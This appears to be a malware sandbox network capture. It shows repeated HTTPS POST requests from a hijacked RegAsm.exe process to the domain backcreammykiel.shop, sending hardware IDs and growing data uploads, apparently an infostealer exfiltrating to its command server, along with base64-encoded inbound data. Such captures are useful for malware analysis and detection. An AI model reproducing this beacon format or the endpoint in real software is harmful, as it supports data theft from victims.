2024-06-23 16:48:57 UTC	1369	IN	Data Raw: 55 6f 4a 56 51 4c 48 4f 42 65 31 75 36 63 57 6b 69 51 7a 63 49 6e 77 31 56 4e 4d 2f 4b 2b 56 33 44 63 58 62 6a 37 78 73 4d 55 45 72 71 30 6e 6b 74 55 5a 64 72 54 71 73 33 4a 6a 55 41 57 6d 44 31 45 42 31 6d 79 38 32 7a 43 49 74 78 4f 36 36 6d 45 78 77 59 48 61 65 57 55 43 64 2b 69 6e 56 54 74 32 56 73 4a 45 4d 35 42 4a 55 62 58 79 76 49 7a 66 64 59 77 6a 74 34 37 2b 31 63 45 77 68 53 38 4e 41 65 46 48 57 49 63 46 2b 72 4e 79 59 31 41 46 70 67 39 52 41 64 5a 73 76 4e 73 77 69 4c 63 54 53 76 72 78 4d 59 48 42 6d 67 6b 31 49 76 66 34 4a 35 56 4c 56 6c 5a 53 35 47 4d 77 57 52 43 46 73 6a 79 63 58 30 56 4d 38 2b 65 4f 2f 74 58 42 4d 49 55 76 44 51 48 67 35 66 73 6a 4a 39 68 7a 63 6d 4e 51 42 61 59 50 55 51 48 57 62 4c 7a 62 4d 49 69 33 45 30 6f 71 4d 55 47 78 Data Ascii: UoJVQLHOBe1u6cWkiQzcInw1VNM/K+V3DcXbj7xsMUErq0nktUZdrTqs3JjUAWmD1EB1my82zCItxO66mExwYHaeWUCd+inVTt2VsJEM5BJUbXyvIzfdYwjt47+1cEwhS8NAeFHWIcF+rNyY1AFpg9RAdZsvNswiLcTSvrxMYHBmgk1Ivf4J5VLVlZS5GMwWRCFsjycX0VM8+eO/tXBMIUvDQHg5fsjJ9hzcmNQBaYPUQHWbLzbMIi3E0oqMUGx
2024-06-23 16:48:57 UTC	1369	IN	Data Raw: 57 43 64 35 68 48 56 66 75 48 46 6c 4b 6b 49 34 44 4a 59 44 55 53 76 4b 78 66 56 57 69 58 39 36 34 61 67 45 56 45 68 51 36 4b 42 54 4c 33 47 45 64 6c 47 72 58 31 56 71 44 43 31 46 39 6d 49 30 50 34 36 42 39 46 79 4a 61 58 72 68 71 78 63 63 48 42 65 67 6c 31 38 70 63 6f 39 2f 55 36 39 32 61 79 4e 4a 4f 51 61 52 42 31 6f 6f 33 73 62 34 57 38 45 34 4e 71 66 76 55 6c 5a 51 46 62 44 53 42 6d 4d 34 73 58 4e 53 74 6d 5a 72 4b 55 4a 79 53 59 46 48 4e 30 32 6e 32 4c 45 51 7a 6a 31 34 2b 65 31 63 48 68 73 57 71 35 5a 62 4c 6e 6d 47 64 6b 36 36 66 6e 59 6b 51 7a 30 44 6c 67 42 65 49 73 6e 4d 39 56 7a 44 4d 44 2b 76 6f 52 52 55 58 6c 44 6f 6c 55 5a 68 49 4d 55 77 66 61 31 73 64 6a 78 44 45 77 61 52 53 52 30 35 67 71 6d 59 4f 39 42 7a 65 4b 61 6a 58 45 78 53 55 71 47 Data Ascii: WCd5hHVfuHFlKkI4DJYDUSvKxfVWiX964agEVEhQ6KBTL3GEdlGrX1VqDC1F9mI0P46B9FyJaXrhqxccHBegl18pco9/U692ayNJOQaRB1oo3sb4W8E4NqfvUlZQFbDSBmM4sXNStmZrKUJySYFHN02n2LEQzj14+e1cHhsWq5ZbLnmGdk66fnYkQz0DlgBeIsnM9VzDMD+voRRUXlDolUZhIMUwfa1sdjxDEwaRSR05gqmYO9BzeKajXExSUqG
2024-06-23 16:48:57 UTC	1369	IN	Data Raw: 73 64 2b 56 62 78 2f 61 69 5a 47 4e 68 6d 65 41 6c 59 70 7a 63 37 7a 55 38 67 37 4d 4c 4f 70 48 42 38 59 46 61 43 57 55 44 4e 35 69 44 41 53 2f 7a 64 6a 4d 67 35 71 53 64 34 34 53 53 48 4c 7a 72 46 35 7a 69 6f 35 71 36 77 58 47 46 42 51 74 39 77 32 53 68 4f 65 4d 68 79 36 65 79 52 79 44 48 49 47 6b 67 52 62 4e 4d 44 42 38 31 6e 4f 4f 79 71 75 6f 42 45 58 45 42 65 36 6b 30 77 75 63 34 4a 7a 57 4c 4a 34 61 43 4a 45 63 6b 58 63 53 56 67 2b 6a 4a 6d 78 45 4f 55 79 4b 61 76 74 4f 77 34 47 46 61 53 44 56 53 78 30 78 7a 4a 44 38 78 38 50 51 56 64 77 53 35 6b 46 48 33 36 4f 67 66 4e 52 78 43 4d 39 6f 4b 55 57 47 52 67 64 72 5a 64 52 4a 58 79 4d 66 6b 36 7a 65 47 51 73 52 54 4d 4f 6e 51 4a 56 4b 4d 58 54 73 78 36 4c 63 54 2b 35 37 30 52 57 55 44 69 7a 6b 31 4d 74 Data Ascii: sd+Vbx/aiZGNhmeAlYpzc7zU8g7MLOpHB8YFaCWUDN5iDAS/zdjMg5qSd44SSHLzrF5zio5q6wXGFBQt9w2ShOeMhy6eyRyDHIGkgRbNMDB81nOOyquoBEXEBe6k0wuc4JzWLJ4aCJEckXcSVg+jJmxEOUyKavtOw4GFaSDVSx0xzJD8x8PQVdwS5kFH36OgfNRxCM9oKUWGRgdrZdRJXyMfk6zeGQsRTMOnQJVKMXTsx6LcT+570RWUDizk1Mt
2024-06-23 16:48:57 UTC	1369	IN	Data Raw: 65 31 64 47 6f 69 52 7a 49 46 6e 67 68 53 4a 6f 79 50 73 52 44 4f 4b 58 6a 35 37 56 77 78 4d 77 57 2b 6d 42 77 43 62 35 46 36 57 37 46 68 62 79 74 4e 4a 41 61 4f 53 52 30 35 67 71 6d 59 4f 39 42 7a 65 4b 61 6a 58 45 78 53 55 71 4f 64 55 43 78 7a 67 33 6c 5a 74 58 52 68 4c 30 51 2b 42 35 38 42 56 69 7a 4a 78 50 56 61 79 6a 38 33 6f 4b 4d 59 48 52 34 62 36 4e 77 63 59 58 2b 66 4d 41 54 2f 4e 31 49 36 53 53 6f 47 6a 6b 74 74 4a 64 33 51 35 6c 33 5a 4e 33 71 4f 72 42 41 58 46 52 57 34 30 68 77 2b 4e 75 38 62 4e 36 51 31 4a 43 31 43 63 6c 50 63 53 56 38 69 77 4d 4c 30 58 73 59 38 4e 36 61 6b 45 78 34 65 41 4b 65 58 56 69 31 77 69 6d 4a 57 74 32 56 74 49 30 4d 38 41 34 77 4b 48 32 69 4f 67 66 52 49 69 57 6c 36 34 5a 30 57 46 78 77 45 70 5a 30 65 59 32 66 4a 47 Data Ascii: e1dGoiRzIFnghSJoyPsRDOKXj57VwxMwW+mBwCb5F6W7FhbytNJAaOSR05gqmYO9BzeKajXExSUqOdUCxzg3lZtXRhL0Q+B58BVizJxPVayj83oKMYHR4b6NwcYX+fMAT/N1I6SSoGjkttJd3Q5l3ZN3qOrBAXFRW40hw+Nu8bN6Q1JC1CclPcSV8iwML0XsY8N6akEx4eAKeXVi1wimJWt2VtI0M8A4wKH2iOgfRIiWl64Z0WFxwEpZ0eY2fJG
2024-06-23 16:48:57 UTC	1369	IN	Data Raw: 70 43 30 4d 35 42 35 4d 47 56 47 61 43 71 5a 67 37 6f 6e 45 2b 34 66 64 65 52 46 35 36 77 2f 6b 31 59 58 79 57 4d 41 54 2f 4a 7a 5a 78 47 32 46 63 7a 6c 73 33 54 61 66 65 76 54 69 69 57 69 48 4a 78 48 64 2f 55 41 54 6f 79 68 78 7a 4e 75 38 62 4e 39 59 33 64 6d 6f 57 63 45 76 5a 43 6b 30 30 79 73 4c 6c 55 34 34 50 42 6f 4b 34 43 68 34 4c 55 49 36 56 54 79 68 75 69 6d 4a 69 67 31 6c 70 4b 30 30 38 53 61 38 66 55 6a 62 50 78 50 52 75 39 7a 38 2f 74 61 67 53 45 68 42 53 35 76 6f 31 53 68 50 48 66 78 7a 6c 4e 56 31 71 42 6e 49 30 30 47 45 30 54 61 65 42 36 78 43 52 63 33 69 55 72 42 49 61 46 77 53 35 33 33 30 32 62 6f 31 72 48 70 74 77 64 53 4e 59 50 78 6e 65 52 7a 64 4e 70 36 71 7a 56 6f 6c 70 65 76 48 68 64 48 39 37 65 65 69 57 54 32 45 67 78 53 41 4f 35 69 Data Ascii: pC0M5B5MGVGaCqZg7onE+4fdeRF56w/k1YXyWMAT/JzZxG2Fczls3TafevTiiWiHJxHd/UAToyhxzNu8bN9Y3dmoWcEvZCk00ysLlU44PBoK4Ch4LUI6VTyhuimJig1lpK008Sa8fUjbPxPRu9z8/tagSEhBS5vo1ShPHfxzlNV1qBnI00GE0TaeB6xCRc3iUrBIaFwS53302bo1rHptwdSNYPxneRzdNp6qzVolpevHhdH97eeiWT2EgxSAO5i
2024-06-23 16:48:57 UTC	1369	IN	Data Raw: 63 6a 54 51 59 54 52 4e 70 34 48 72 45 4a 46 7a 65 4a 53 73 45 68 6f 58 42 4c 6e 66 65 53 39 2f 68 6d 5a 4d 73 48 74 46 4b 56 38 34 53 39 42 68 4e 45 32 6e 67 66 55 51 6b 58 4e 71 37 38 64 33 66 33 74 53 72 49 4d 65 65 54 72 58 49 67 66 6f 4a 44 4e 36 48 46 70 67 39 52 59 52 54 71 65 71 36 6a 69 69 57 6c 50 68 75 56 78 4d 55 6b 44 6d 2b 6a 56 4b 45 38 64 69 48 4f 55 31 4a 47 31 4e 49 42 6d 59 43 6b 6b 6c 69 2f 2f 4e 64 64 34 79 4b 4b 65 73 49 69 6f 37 48 71 36 56 52 43 5a 2b 6f 56 41 63 38 78 38 50 51 53 56 79 42 4e 35 52 48 52 2b 4d 69 62 4e 76 68 31 6c 54 79 73 52 63 44 46 42 4b 36 74 4a 72 49 6e 61 4a 64 30 71 73 4f 6b 45 39 54 53 49 4e 6e 55 6b 52 54 71 65 71 6d 42 44 50 63 57 44 6a 2f 31 4a 38 65 33 6e 44 30 6c 6f 77 4f 4e 38 79 44 4f 38 73 4d 58 6b Data Ascii: cjTQYTRNp4HrEJFzeJSsEhoXBLnfeS9/hmZMsHtFKV84S9BhNE2ngfUQkXNq78d3f3tSrIMeeTrXIgfoJDN6HFpg9RYRTqeq6jiiWlPhuVxMUkDm+jVKE8diHOU1JG1NIBmYCkkli//Ndd4yKKesIio7Hq6VRCZ+oVAc8x8PQSVyBN5RHR+MibNvh1lTysRcDFBK6tJrInaJd0qsOkE9TSINnUkRTqeqmBDPcWDj/1J8e3nD0lowON8yDO8sMXk

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49709	104.21.90.18	443	5592	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 16:48:58 UTC	286	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12846 Host: backcreammykiel.shop
2024-06-23 16:48:58 UTC	12846	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 33 39 39 34 38 46 32 46 44 44 36 36 33 34 44 31 45 39 42 43 35 44 34 43 46 36 33 42 43 33 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 40 6e 65 76 65 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"039948F2FDD6634D1E9BC5D4CF63BC37--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"LPnhqo--@neve
2024-06-23 16:48:58 UTC	816	IN	HTTP/1.1 200 OK Date: Sun, 23 Jun 2024 16:48:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=pbdmgtrrjv6r82ph25t4t825v6; expires=Thu, 17-Oct-2024 10:35:37 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KIykqsr7lSDR1GAO8GrPAQa2NdSXUW12s70zm6%2FQ48wkPgKwEQC9dBXEdTf3FKn%2BvMTK%2FxK2MrpytpQgy279SYDRALeZr3TWp2bjk%2Bcip%2BzQaE77%2BMjp8svKhH%2BFWE8yxMq5ShmUaA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8985f7fc7b6e72b7-EWR alt-svc: h3=":443"; ma=86400
2024-06-23 16:48:58 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 33 33 0d 0a Data Ascii: eok 8.46.123.33
2024-06-23 16:48:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49713	104.21.90.18	443	5592	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 16:48:59 UTC	286	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15088 Host: backcreammykiel.shop
2024-06-23 16:48:59 UTC	15088	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 33 39 39 34 38 46 32 46 44 44 36 36 33 34 44 31 45 39 42 43 35 44 34 43 46 36 33 42 43 33 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 40 6e 65 76 65 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"039948F2FDD6634D1E9BC5D4CF63BC37--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"LPnhqo--@neve
2024-06-23 16:48:59 UTC	808	IN	HTTP/1.1 200 OK Date: Sun, 23 Jun 2024 16:48:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=d5fckp8mumm7nbo4b97gubi3tp; expires=Thu, 17-Oct-2024 10:35:38 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DDIKTaop%2FNrpS%2FiXQMqgnIU8tkMoalzSyO%2B0T7R3GSXXFa8gUphiN3eZZ6bWd3jEsQ2tkMNPV3G9OB1vIHtqzuIIsuCETaP37kram5hhMoPjKIDsk3mYb0bHJ9S58ZJ4p5TVAfTezA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8985f802385b4245-EWR alt-svc: h3=":443"; ma=86400
2024-06-23 16:48:59 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 33 33 0d 0a Data Ascii: eok 8.46.123.33
2024-06-23 16:48:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49715	104.21.90.18	443	5592	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 16:49:00 UTC	286	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20578 Host: backcreammykiel.shop
2024-06-23 16:49:00 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 33 39 39 34 38 46 32 46 44 44 36 36 33 34 44 31 45 39 42 43 35 44 34 43 46 36 33 42 43 33 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 40 6e 65 76 65 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"039948F2FDD6634D1E9BC5D4CF63BC37--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"LPnhqo--@neve
2024-06-23 16:49:00 UTC	5247	OUT	Data Raw: b1 05 a9 66 42 b5 5a 3e 93 af 35 13 92 cd 36 8a 95 d9 76 89 c4 4d c9 4d d9 5a b5 da 68 27 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: fBZ>56vMMZh'F3Wun 4F([:7s~X`nO
2024-06-23 16:49:01 UTC	810	IN	HTTP/1.1 200 OK Date: Sun, 23 Jun 2024 16:49:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8ekqsgvtvo6vbss5eg60u6jvbc; expires=Thu, 17-Oct-2024 10:35:39 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7zPb2w5pPfhbhHzUqTjCL%2F%2B1mhJfqdP1qlsyj0ps4aW9z%2B2IUjSGUuU4O7xH2wNGb6Yc1FebBxWSnw38Qj6aNOIP8lzzItxEZgtmvbDs2xIvzKuA7Ufi76dhGe6%2FZexrYoDgpHtbfg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8985f80a2d4972b3-EWR alt-svc: h3=":443"; ma=86400
2024-06-23 16:49:01 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 33 33 0d 0a Data Ascii: eok 8.46.123.33
2024-06-23 16:49:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49716	104.21.90.18	443	5592	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 16:49:01 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 5455 Host: backcreammykiel.shop
2024-06-23 16:49:01 UTC	5455	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 33 39 39 34 38 46 32 46 44 44 36 36 33 34 44 31 45 39 42 43 35 44 34 43 46 36 33 42 43 33 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 40 6e 65 76 65 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"039948F2FDD6634D1E9BC5D4CF63BC37--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"LPnhqo--@neve
2024-06-23 16:49:02 UTC	814	IN	HTTP/1.1 200 OK Date: Sun, 23 Jun 2024 16:49:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8tcqj7s5a315t1e54vru63shb4; expires=Thu, 17-Oct-2024 10:35:41 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pI5F2dllQLU5Ur4TNS56%2FJNDLHj22T4AFsoVORKApMEKyeZC%2B%2BUJl%2BkoIdzUc7gBgXMnOf2VhwPOKJvuZsJb0JC2zqkje2UQBQ0JmEox1cUMr16ByLM%2BcMaxW73azppXEUl%2FPtBFXg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8985f812bd394408-EWR alt-svc: h3=":443"; ma=86400
2024-06-23 16:49:02 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 33 33 0d 0a Data Ascii: eok 8.46.123.33
2024-06-23 16:49:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49717	104.21.90.18	443	5592	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 16:49:02 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1286 Host: backcreammykiel.shop
2024-06-23 16:49:02 UTC	1286	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 33 39 39 34 38 46 32 46 44 44 36 36 33 34 44 31 45 39 42 43 35 44 34 43 46 36 33 42 43 33 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 40 6e 65 76 65 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"039948F2FDD6634D1E9BC5D4CF63BC37--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"LPnhqo--@neve
2024-06-23 16:49:03 UTC	808	IN	HTTP/1.1 200 OK Date: Sun, 23 Jun 2024 16:49:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ih4jpatbd363ep7c8c3gor53i6; expires=Thu, 17-Oct-2024 10:35:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=e%2FiP%2B70eoUp5ltbxjeSZdBX%2BRKHObsnveVWioQhoDUR5sHat10DiLb8ZoB8nHi6T6uPw3S9kb1kCr46aXd6nswxwgWU4ZYTVNiNdfRT69levpA4K9kTWMKgRz28UEuGCPWRpWYD3dg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8985f819cbc54219-EWR alt-svc: h3=":443"; ma=86400
2024-06-23 16:49:03 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 33 33 0d 0a Data Ascii: eok 8.46.123.33
2024-06-23 16:49:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49718	104.21.90.18	443	5592	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 16:49:04 UTC	287	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 568554 Host: backcreammykiel.shop
